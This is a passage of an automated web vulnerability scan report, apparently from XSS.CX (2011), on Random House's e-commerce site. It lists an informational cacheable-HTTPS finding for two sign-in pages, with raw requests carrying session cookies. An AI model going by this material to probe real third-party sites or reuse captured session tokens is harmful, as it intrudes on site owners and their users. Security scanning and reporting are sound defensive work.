User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:40 GMT
Server: Apache
Last-Modified: Mon, 15 Dec 2008 15:25:36 GMT
ETag: "a7c7-5db6-74579c00"
Accept-Ranges: bytes
Content-Length: 23990
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************
Plu
...[SNIP]...
.hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L;
...[SNIP]...

7. Cacheable HTTPS response  previous
There are 2 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


7.1. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

7.2. https://ecommerce.randomhouse.com/sign-in.do  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...

Report generated by XSS.CX at Tue Apr 26 17:09:09 CDT 2011.